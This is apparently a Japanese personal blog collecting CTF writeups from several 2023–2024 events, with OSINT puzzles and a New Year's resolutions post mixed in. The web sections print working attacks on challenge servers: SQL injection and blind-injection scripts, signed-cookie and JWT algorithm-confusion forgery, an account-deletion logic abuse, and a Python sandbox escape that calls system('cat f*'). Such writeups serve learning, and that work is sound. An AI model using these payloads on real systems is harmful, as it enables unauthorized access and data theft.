LA CTF 2024 Writeup

はじめに

LA CTF 2024の自分が解けたweb問についてのwriteupです。sayonaraとして参加し61位でした。

terms-and-conditions

CTFのルールが記述されたwebサイトが表示され「I Accept」のボタンを押すことができれば良いのだが、ボタンがカーソルから逃げていくので簡単には押せない。
consoleを見ようとしたが、consoleを開くと「No Console Arrowed」と表示され見れない... Javascriptがいたずらしているのかな?と思い、Edgsで「Ctrl + Shift + P」を押すとFLAGが書かれたalertが出てきた、なんで?

flaglang

Flagを得るためには「/view?countiry=Flagistan」にアクセスする必要がある。しかし、登録されているすべての国からのアクセスができないようになっている。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

userのISO情報はCookieに保存されている。Cookieは「s%3AJP.7RhDru0S3loZKUPfuc」となっている。s%3A後の2文字がISOになっているので、登録されていない架空の国にしてアクセスすることでFLAGを得ることができる。例えば、「s%3AAB.7RhDru0S3loZKUPfuc」など..

curl -b "iso=s%3AAB.gHCg19jZEIEe1cgJlABg%2BohbEaZ2Vg8VtEzJXAg1zG0" "https://flaglang.chall.lac.tf/view?count ry=Flagistan"

la housing portal

SQL injectionの脆弱性がある。しかし、「--と/*」が禁止ワードとなっている。文字数は50文字制限あり。

if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")


def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)

シンプルにUNIONを組めばよい。
curl -X POST -d "name=nano&guests='+UNION+SELECT+1,flag,1,1,1,1+from+'flag" "https://la-housing.chall.lac.tf /submit"

penguin-login

この問題もSQL injectionの問題。しかし、禁止ワードが「like」、許可されているのが「英数字、'{}_」

        assert all(c in allowed_chars for c in username), "no character for u uwu"
        assert all(
            forbidden not in username.lower() for forbidden in forbidden_strs
        ), "no word for u uwu"

        with conn.cursor() as curr:
            curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
            result = curr.fetchall()

        if len(result):
            return "We found a penguin!!!!!", 200
        return "No penguins sadg", 201

SQLの実行結果が、「We found a penguin!!!!!」か「No penguins sadg」の2つのためBlind SQL injectionを組む必要がある。
Likeが使えないが、PostgresにはSIMILAR TOがあり、LIKEと同じことができる。さらに、Postgresの正規表現は_(ハイフン)が任意の位置文字とマッチする。
これらを使用しペイロードを組む。
https://www.postgresql.jp/docs/9.4/functions-matching.html
' UNION SELECT name FROM penguins WHERE name SIMILAR TO '____ これでDBにある'peng'とマッチする。
ハイフンの数を増やしていきflagの文字数を求めるスクリプトを組む。

server_url = "https://penguin.chall.lac.tf/submit"
for i in range(50):
    length_payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '_{"+str(i)+"}"
    data = {"username": length_payload}
    response = requests.post(server_url, data=data)
    print(response.text)
    if "We found a penguin!!!!!" in response.text:
        print(i)
        print(response.text)
        length = i

45文字だった。文字数も分かったので、1文字ずつ求めていく。

length = 45
flag = "lactf{"
for j in range(6,length):
    # if len(flag)==j:
    #     print("ok")
    for char_code in range(0x20, 0x7f):
        if char_code==95:
            char_code = 0
        payload = "' UNION SELECT name FROM penguins WHERE name SIMILAR TO '"+str(flag)+str(chr(char_code))+"_{"+str(45-(j+1))+"}"
        data = {"username": payload}
        response = requests.post(server_url, data=data)
        print(payload)
        if "We found a penguin!!!!!" in response.text:
            print(response.text)
            flag =  flag + str(chr(char_code))
            break
    if len(flag)==j:
        flag =  flag + str("_")

※lactf{の次の文字だけ見つけることができなかったので勘で乗り切った

2024年の抱負

初めに

皆様あけましておめでとうございます。2024年もより良い一年にするために、今年は抱負を書きたいと思います.

抱負

  • 就活を自分が納得する形で終わらせる
    現在、就活真っ最中なので学校を卒業してもよい形で社会人を迎えれるような就職活動をしていこうと思います。 

  • 英語の習得
    高専入学時より英語から逃げ続けていましたが、もう限界です。海外交流もしたいですし、海外に旅行も行きたいのでこの一年で話せる英語を習得しようと思います。

  • CTFでwebを極める
    2024年は1つ1つの技術を深め一人前のweb担当になりたいと思います。

  • アウトプットする
    目標として1カ月に1本以上、CTFで解けなかった問題の復習などを挙げていこうと思います。

おわりに

2024年も時間を大切に生きていこうと思います。

TsukuCTF2023 Writeup

はじめに

TsukuCTF2023に「sayonara」として参加させていただきました。結果は12位でした。普段とは一味違ったCTFで、最初から最後まで楽しませていただきました。運営の方々ありがとうございます!
多くのOSINT問題の中から解いていて面白かったものを抜粋してWrite up を書かせてもらいます。

udon_2023

hard問題だったが、どの問題よりも解くまでの時間が早かったし、楽しかった!
まず、注目した点は鶏天の衣焼き色がついておりやや硬そうな衣をしている。「店によって鶏天の形は違えど衣は一緒だ!」という教えから、鶏天の衣探しをした。 そこでヒットしたのはこの画像

ショウガやネギがのっているが、この焼き色と硬そうな衣は見間違えるはずがない。
調べてみると「甚三 新橋2号店」これだ!と思いFLAGを入力したが、incorrect
甚三はチェーン店で、ほかにも多くお店があった...
ふと、「作問者が学生だったよね~早稲田だったかな?」と思い甚三の場所を見てみると、「甚三 高田馬場」があった!ここで入力すると正解だった 回答時間は5~10分で気持ちよ~く解けた。 メンバーの料理力が光った問題だった。

grass_court

hard問題でしたが、出先散歩しているときにスマートフォンで解けて楽しかった!
まず、注目したのは木に貼ってあるキャラクター! ルンルンでgoogle Lensを使い、類似のキャラクターを調べてみたが、ホラーみたいな画像がたくさん出てきたので、怖くなりこのアプローチは断念.........
気を取りなおして、ほかの特徴がないか探す。後ろのほうにかすかに映る人工物.....目を細めながら、拡大したりして, なんかアンテナ?っぽいなと思い、調べてみると。
パラボラアンテナ」がヒット!!この規模のアンテナは珍しいだろ!と思い、検索しKDDIのパラボラアンテナなどが見つかったが、きれいすぎる✨..
「もっと廃れてれる場所なんだよな~」と言いながら、探しているとそれっぽい画像がヒット!

うん、いい感じの廃れ具合!!!
調べてみると、「水沢VERA観測所」だった!近くにテニスコートがあったので入力して正解だった

CtrlAltPrtSc

画像を開くと、電卓を表示している。つくし君は真面目に仕事してるじゃないか!!
と思ったが、上のほうに移る微かに映る、赤い影
間違いなく「Youtube」だ!と即答.....正解だった
我々が、いかにYoutubeに依存しているのかが分かった良問だった.....

free_rider

迷惑系Youtube?のシーンを見つける問題、かなり苦戦しました.... youtuberを見つけるまでは早かったのですが、Linkが削除されている.....削除された元の動画をアップしている人はいるものの, 元動画は消されているからな~
これでは探しようがないな~と思い諦めていたところ、お散歩中に「削除されているリンクと、転載されている動画の時間をくっつければいいじゃん!」と考え付いた
お散歩から急いで帰って、メンバーが見つけていた、削除済みのリンクと、メンバーが見つけていた、再アップしている人の動画から該当の時間を見つけ出し、合体!これで正解だった!
人が集めた情報をくっつけたらできた.....手柄の横取りをしました😊

CCCamp CTF 2023 [web / Cybercrime Society Club Germany]

概要

loginとsignupがある、webサービス、adminの権限があると'date'コマンドを実行することができる flag.txtの中にflagがある、admin権限を取得し、flagの中身を見るコマンドを実行する必要がある。

まず、admin権限を取得していく

Writeup

    def is_admin(self, email):
        user = self.db.get(email)
        if user is None:
            return False
        
        return user["email"] == "admin@cscg.de" and user["userid"] > 90000000

admin権限になるためにuseridが90000000以上かつ、emailが「admin@cscg.de」となっている

admin@cscs.deのemailの取得

userdb = UserDB("userdb.json")
userdb.add_user("admin@cscg.de", 9_001_0001, str(uuid())) 

def api_create_account(data, user):

    if email == "admin@cscg.de":
        return error_msg("cant create admin")

    assert(len(groupid) == 3)
    assert(len(userid) == 4)
    userid = json.loads("1" + groupid + userid)

    if not check_activation_code(activation):
        return error_msg("Activation Code Wrong")
    print("activation passed")

    if userdb.add_user(email, userid, password):
        return success_msg("User Created")
    else:
        return error_msg("User creation failed")

def check_activation_code(activation_code):
    # no bruteforce
    time.sleep(20)
    if "{:0>4}".format(random.randint(0, 10000)) in activation_code:
        return True
    else:
        return False

ユーザ作成時にActivation_codeに0から10000のランダム値が含まれていないと、ユーザの作成が行われない。
activate_codeには文字数制限やチェックが入っていないので、0000~9999までのすべての値を結合したものをactivatecodeとすることで通過できる。

loginが成功すると、ユーザのemailアドレスの変更と削除ができる。

adminデータの削除

def api_delete_account(data, user):
    if user is None:
        return error_msg("not logged in")

    if data["data"]["email"] != user["email"]:
        return error_msg("Hey thats not your email!")

    if delete_accs(data["data"].values()):
        return success_msg("deleted account")

def delete_accs(emails):
    for email in emails:
        userdb.delete_user(email)
    return True

「if delete_accs(data["data"].values()):」.values()で値を指定しているため、{"data"{"email":"登録したユーザ"}, {"mail":"admin@cscg.de"}}とすることでadminのデータを消すことができる。

再度ユーザを作るり、ユーザの編集を行う。

def api_edit_account(data, user):
    if user is None:
        return error_msg("not logged in")
    
    new = data["data"]["email"]

    if userdb.change_user_mail(user["email"], new):
        return success_msg("Success")
    else:
        return error_msg("Fail")

edit_accountで「admin@cscg.de」にすることで、adminのemalを取得できた。
※同じ名前のemailを作れないため、一度adminのデータを削除する必要があった。

userid >90000000をクリアして完全にadmin権限を奪う

  assert(len(groupid) == 3)
  assert(len(userid) == 4)

    userid = json.loads("1" + groupid + userid)

素直に考えるとMAXの値は 19999999で当然False
テストしまくった結果、9e9で9*109となり、useridの値をinfにすることができた

これでadmin権限を取得できた。

flagを取りに行く!

admin権限によって、linuxコマンドが実行できるようになる

def api_admin(data, user):
    if user is None:
        return error_msg("Not logged in")
    is_admin = userdb.is_admin(user["email"])
    if not is_admin:
        return error_msg("User is not Admin")

    cmd = data["data"]["cmd"]
    # currently only "date" is supported
    if validate_command(cmd):
        out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        return success_msg(out.stdout.decode())

def validate_command(string):
    return len(string) == 4 and string.index("date") == 0

素数が4であり、dateから始まる必要がある。
これは、配列を使うことで解決できる。

cmd = ["date","--help","help","-help"]
len(cmd)は4であり、dateから始まるので問題ない。
しかし使用できる、コマンドはdateのみなので有用なオプションがないか探す。
-fオプションでファイルを指定できる。
これでFlagゲット。

SECCON Beginners CTF 2023 「double check」

はじめに

SECCON Beginners CTF 2023に「bitbuger」として参加しました。Web分野の問題を解き結果は32位でした。
その中の「double check」について自分の思考回路を交えてWriteupを作成します。

double check

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;


  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});

まず、2つのチェックについて見ていく

if (username === "admin" && password === getAdminPassword()) 
中略
 if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {

usernameはadminは指定できるが,passwordは getAdminPassword()によって生成されている. getAdminPassword()は16ビットのランダムな値なので,総当たりでは突破できない.

脆弱性1つ目

 const token = Object.assign({}, verified);
 const user = Object.assign(req.session.user, verified);

if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

prototype pollutionの脆弱性が発見できる..adminを汚染することでFLAGを獲得できる.

脆弱性2つ目

暗合化
signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
複合化
 verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }

暗合化のアルゴリズムはRS256の公開鍵暗号,複合化のアルゴリズムはRS256に加えHS256の共通鍵暗号が許可されている。これによって、任意のペイロードを送ることが可能となる

この2つの脆弱性を使用した。

解決

jwt.ioを使用しAuthorizationを以下のように書き換える

その後jwt toolを使用しAuthorizationを公開鍵で暗号化したものにする
python3 jwt_tool.py $jwt --exploit k -pk ../app/keys/public.key

以下のようにリクエストを送るとFLAGを得ることができた

session = requests.Session()
session.cookies.set('connect.sid', response.cookies['connect.sid'])

flagheaders = {'content-type': 'application/json', 'Authorization':'jwt_tool'}
response = session.post(flagurl,data=json.dumps(data),headers=flagheaders)

print(response.text)

writeupから学ぶ「Jinja Injection | Pyjail」

はじめに

TJCTF 2023「web/outdated」の問題を解きながらPyjailについて理解を深めていくものです。 ※CTF初心者が書いているものなので間違いがある可能性があります。間違いがある場合はご指摘ください

問題の概要


Pythonファイルをアップロードして、その実行結果を出力してくれるコードランナー

ソースコード

重要な部分だけを張り付ける

blocked = ["__import__", "globals", "locals", "__builtins__", "dir", "eval", "exec","breakpoint", "callable", "classmethod", "compile", "staticmethod", "sys","__importlib__", "delattr", "getattr", "setattr", "hasattr", "sys", "open"]

解説

pythonソースコードの中にblockedが含まれているかチェックするもの、blockedのすり抜けるために「Pyjail」を使用する.
今回使用したペイロード
''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat f*')
を使用してFLAGをゲットできた。

なぜこのペイロードが通ったのか?

''.__class__ は''のクラスオブジェクトにアクセスすることができる 出力: <class 'str'>

''.__class__.__mro__[1].__subclasses__() でsubclassesにアクセスすることができる
出力:
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, 続く
が出力される

その中に<class 'os._wrap_close'> を見つける。今回は[132]番目

''.__class__.__mro__[1].__subclasses__()[132] 出力:<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__で定義されている関数一覧を見ることができる。その中にsystem関数があり、

''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']でsystem関数を使用することができる。あとは引数を好きなようにすることで任意実行が可能となっている。
このようにしてペイロードが作成されていた。

付録

今回のCTFでは使えなかったが今後どこかで使えそうなPythonの書き方 unicodeを使う

# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("ls -laF")
#\u000aos.system("cat *flag*")


rot13を使う(python2)
#config rot13とかもあるらしい